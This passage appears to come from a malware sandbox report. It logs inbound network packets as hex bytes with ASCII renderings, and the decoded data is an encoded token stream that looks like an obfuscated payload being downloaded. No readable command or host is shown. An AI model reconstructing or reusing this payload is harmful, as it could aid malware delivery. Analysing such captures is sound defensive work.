4f 4f 59 20 78 Data Ascii: Q x Qk x tO x kR x tO x Qt x kt x Oox x Oxk x kK x OxQ x tx x OOR x Qx x kR x QQ x RY x RY x tO x kY x Rt x kK x tO x Yt x OxR x Qt x KQ x tK x Oxk x QQ x Yx x Yt x KQ x QQ x OxQ x tk x Oxk x RY x RY x RR x QQ x RY x Oxt x Oox x OOk x kQ x Yx x tx x OOY x
2021-11-09 21:21:49 UTC	1007	IN	Data Raw: 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 6b 4b 20 78 20 4f 78 78 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 4b 51 20 78 20 4f 78 78 20 78 20 4f 6f 4f 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 6b 4b 20 78 20 4f 78 Data Ascii: k x Yx x Qx x OOo x Qk x tO x kR x kK x Oxx x to x tK x OOo x Qk x OxQ x Oxx x kk x RY x RY x Rt x OOE x RY x KQ x Oxx x OoO x Qt x kk x ko x Oxk x kY x to x tK x OOo x Oxx x OxQ x tx x Kk x Qx x kR x RR x OoO x Qk x Yx x Qx x OOo x Qk x tO x kR x kK x Ox
2021-11-09 21:21:49 UTC	1009	IN	Data Raw: 6f 6f 20 78 20 74 74 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 4f 4f 74 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 51 74 20 78 20 74 4f 20 78 20 59 74 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 6b 74 20 78 20 59 74 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 4b 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 Data Ascii: oo x tt x Oxk x tk x OOt x kQ x kk x RR x Ooo x Qt x tO x Yt x Kk x RY x RY x RR x OOE x RY x RQ x tk x OoO x Qx x kt x tx x Kk x Qx x kR x tK x Oxk x Qk x kt x Yt x Kk x Qx x kR x ko x OOO x QQ x OxQ x kR x OxK x Qx x RY x RY x RY x OOE x RY x RR x tx x
2021-11-09 21:21:49 UTC	1010	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 6b 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 74 6b 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 4f 78 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 59 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 6b 74 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f 6f 6f 20 78 20 6b 4f 20 Data Ascii: Y x RY x RR x tk x RY x Oxk x tk x Oxk x Oxx x RQ x tk x KQ x QQ x OOx x tk x OOk x QQ x OxE x Rt x Yt x RY x kY x Oox x OOk x kQ x kt x ko x Rk x Oxx x kk x tK x Ooo x Qk x YO x tK x kk x RY x tx x OOY x RR x ko x Yx x kR x Kk x kY x YO x Oxk x Ooo x kO
2021-11-09 21:21:49 UTC	1011	IN	Data Raw: 20 78 20 52 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 78 20 78 20 59 78 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 6b 59 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4f 20 78 20 59 78 20 78 20 4f 6f 78 20 78 20 4f 4f 6f 20 78 20 51 78 20 78 20 6b 74 20 78 20 59 45 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 78 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 74 78 20 78 20 74 6b 20 78 20 59 45 20 78 20 51 51 20 Data Ascii: x RQ x tK x Oxk x Qx x Yx x Oxk x OOt x kY x tO x tx x OOo x Qk x OOx x kO x RY x RY x kx x YR x RY x ko x Yx x kR x Kk x kO x Yx x Oox x OOo x Qx x kt x YE x Kk x kY x OxQ x kR x OxR x Oxx x RY x RR x Oxx x RY x kY x Oxx x Oxk x Oxx x tx x tk x YE x QQ
2021-11-09 21:21:49 UTC	1013	IN	Data Raw: 20 59 45 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 59 4f 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 6b 74 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 74 4b 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 51 78 20 78 20 4f 78 4b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 78 74 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 52 20 78 20 6b 4f Data Ascii: YE x Oxt x Qk x YO x QQ x RY x OoO x RY x RR x tx x Qk x OxQ x ko x kO x kQ x kt x Oxk x OOt x Oxx x RY x RY x RY x Oxt x OOQ x tx x tK x Qk x OOx x Qx x OxK x Qk x tO x Oxk x Oxt x kQ x kk x ko x Oxk x kY x OxQ x kR x OxR x Oxx x RY x RY x RY x OOR x kO
2021-11-09 21:21:49 UTC	1014	IN	Data Raw: 78 51 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 6b 59 20 78 20 4f 78 6b 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 74 20 78 20 4b 51 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59 4f 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b Data Ascii: xQ x Yt x OxR x Oxx x kk x tt x RY x RY x Rk x tE x RR x ko x Yx x kR x Kk x kK x kt x kR x OOt x Oxx x kY x Oxk x Kk x Qx x kt x KQ x Rk x Qk x YO x kR x OOt x Oxx x RY x RY x RY x ko x kO x tx x to x Qx x kk x ko x kO x kQ x kk x tK x Oxk x Qk x OOx x k
2021-11-09 21:21:49 UTC	1015	IN	Data Raw: 20 4b 6b 20 78 20 51 78 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 51 78 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 52 20 78 20 4f 4f 52 20 78 20 6b 4f 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 6f 20 78 20 6b 6b 20 78 20 51 74 20 78 20 6b 74 20 78 20 59 45 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 59 4f 20 78 20 4f 78 78 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 Data Ascii: Kk x Qx x kY x ko x OOo x kQ x kt x Oox x OOk x Qx x KQ x RR x OxK x QQ x OxQ x tx x OOR x kR x OOQ x RY x RY x OoO x OOQ x RR x tx x Qk x OOx x kR x OOR x kO x Yx x OxK x OOo x Qk x tO x ko x kk x Qt x kt x YE x Oxt x Qk x YO x Oxx x Ooo x RY x RY x Rk
2021-11-09 21:21:49 UTC	1017	IN	Data Raw: 4f 78 6b 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 74 78 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 4f 78 4f 20 78 20 74 6f 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59 78 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 78 20 78 20 6b 6b 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 52 6b 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 6b 45 20 78 20 6b 4b 20 78 20 74 74 20 78 20 4f 6f 4f 20 78 20 74 52 20 78 20 4f 78 Data Ascii: Oxk x tk x Oxk x Oxx x tx x ko x Oxk x OxO x to x ko x Rk x Qk x Yx x Oox x OOk x QQ x OxE x RY x RY x Qt x OOQ x tx x to x Qx x kk x ko x RQ x Qx x kk x Qx x OOo x kQ x Yx x kR x Rk x kQ x kk x RR x Ooo x RY x RQ x Oxx x RQ x kE x kK x tt x OoO x tR x Ox
2021-11-09 21:21:49 UTC	1018	IN	Data Raw: 78 51 20 78 20 6b 52 20 78 20 59 78 20 78 20 51 78 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4b 6b 20 78 20 6b 52 20 78 20 74 4f 20 78 20 59 74 20 78 20 6b 4b 20 78 20 51 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 51 78 20 78 20 6b 59 20 78 20 4f 78 4b 20 78 20 4f 78 4b 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 6b 6f 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 51 20 78 20 4f 4f Data Ascii: xQ x kR x Yx x Qx x kk x tK x Kk x kR x tO x Yt x kK x Qx x kt x Oox x OxQ x RY x RY x RY x KE x RY x RQ x tk x OOY x Qk x YO x tk x Oxk x kY x Yx x kR x OoO x Oxx x OxQ x Oxk x OxR x Qx x kY x OxK x OxK x Qk x OxQ x ko x OOY x Qx x kO x RY x RY x KQ x OO
2021-11-09 21:21:49 UTC	1019	IN	Data Raw: 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 6b 52 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 52 52 20 78 20 6b 59 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 4f 20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 6f 20 78 20 6b 6b 20 78 20 4f 78 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 59 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 4f 20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 Data Ascii: x Oxk x OOY x Qx x kR x QQ x RY x RY x RY x OOO x RR x kY x Yx x OxK x Oxk x Qk x tO x Oox x tx x OxO x tO x kR x OxR x Oxx x kk x ko x Oxk x ko x kk x OxK x kk x RY x RY x OOY x RR x kY x Yx x OxK x Oxk x Qk x tO x Oox x tx x OxO x tO x kR x OxR x Oxx x
2021-11-09 21:21:49 UTC	1021	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-11-09 21:21:49 UTC	1022	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4b 51 20 78 20 52 52 20 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x RY x RY x kY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x to x OxE x RY x RY x RY x Rt x KQ x RR
2021-11-09 21:21:49 UTC	1023	IN	Data Raw: 20 6b 4b 20 78 20 74 74 20 78 20 4f 4f 51 20 78 20 4f 4f 59 20 78 20 4f 6f 6f 20 78 20 74 52 20 78 20 4f 6f 6f 20 78 20 4f 78 6f 20 78 20 4f 4f 4b 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 74 45 20 78 20 6b 6b 20 78 20 6b 45 20 78 20 4f 78 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 6b 4b 20 78 20 4f 78 74 20 78 20 4f 4f 45 20 78 20 59 4b 20 78 20 4f 4f 4f 20 78 20 59 4f 20 78 20 4f 4f 6b 20 78 20 6b 78 20 78 20 4f 4f 6b 20 78 20 59 45 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4f 6f 78 20 78 20 4b 74 20 78 20 6b 78 20 78 20 74 52 20 78 20 4f 78 4b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 4f 74 20 78 20 74 52 20 78 20 52 74 20 78 20 4f 78 4b 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 6f 4f 20 78 20 59 45 20 78 Data Ascii: kK x tt x OOQ x OOY x Ooo x tR x Ooo x Oxo x OOK x OxO x Oox x tE x kk x kE x Oxk x OOO x OxY x kK x Oxt x OOE x YK x OOO x YO x OOk x kx x OOk x YE x KE x OOk x Oox x Kt x kx x tR x OxK x OOR x tR x Kt x KQ x OOt x tR x Rt x OxK x OOO x OOK x OoO x YE x
2021-11-09 21:21:49 UTC	1025	IN	Data Raw: 4f 52 20 78 20 59 59 20 78 20 52 51 20 78 20 4f 78 4b 20 78 20 4f 78 78 20 78 20 74 59 20 78 20 6b 74 20 78 20 4f 78 59 20 78 20 74 4b 20 78 20 74 51 20 78 20 6b 45 20 78 20 4f 4f 4b 20 78 20 4f 4f 45 20 78 20 4f 78 52 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 4b 45 20 78 20 4b 74 20 78 20 4f 4f 78 20 78 20 59 4b 20 78 20 4b 74 20 78 20 74 6f 20 78 20 59 52 20 78 20 59 52 20 78 20 4f 4f 74 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 6b 74 20 78 20 59 6f 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 74 4f 20 78 20 4f 78 59 20 78 20 4f 4f 6b 20 78 20 74 52 20 78 20 4f 78 51 20 78 20 4f 4f 6b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4f 78 51 20 78 20 59 4b 20 78 20 4f 4f 74 20 78 20 59 59 20 78 20 4f 78 59 20 78 20 4b 51 20 78 20 4f Data Ascii: OR x YY x RQ x OxK x Oxx x tY x kt x OxY x tK x tQ x kE x OOK x OOE x OxR x OxO x YR x KE x Kt x OOx x YK x Kt x to x YR x YR x OOt x tO x Kk x OOk x Kt x kt x Yo x OOY x tY x tO x OxY x OOk x tR x OxQ x OOk x OOO x YK x OxQ x YK x OOt x YY x OxY x KQ x O
2021-11-09 21:21:49 UTC	1026	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-11-09 21:21:49 UTC	1027	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-11-09 21:21:49 UTC	1029	IN	Data Raw: 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: Y x RY x kO x RY x RR x RY x RY x RY x RY x tY x RY x tE x RY x OxE x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x RR x OOt x RY x RY x RY x RY x kO x RY x tE x RY x OxE x tE x kY x RY x RY x RY
2021-11-09 21:21:49 UTC	1030	IN	Data Raw: 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 51 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 Data Ascii: x RY x RQ x RY x RY x RY x Rt x kO x RY x OOQ x Rt x RY x tE x RY x RY x RY x RY x tY x OxE x Rk x RY x tE x RY x OxR x RY x RY x RY x RY x OOQ x RY x tt x RY x OxE x Rt x kQ x RY x RY x RY x Rk x kQ x RY x OOQ x Rt x RY x tK x OOQ x RY x RY x RY x kx x
2021-11-09 21:21:49 UTC	1031	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 74 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: x RY x RY x RY x Rt x OxE x tx x RY x tE x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x kO x RY x RY x RY x RQ x RY x tx x RY x tE x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x R
2021-11-09 21:21:49 UTC	1032	IN	Data Raw: 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 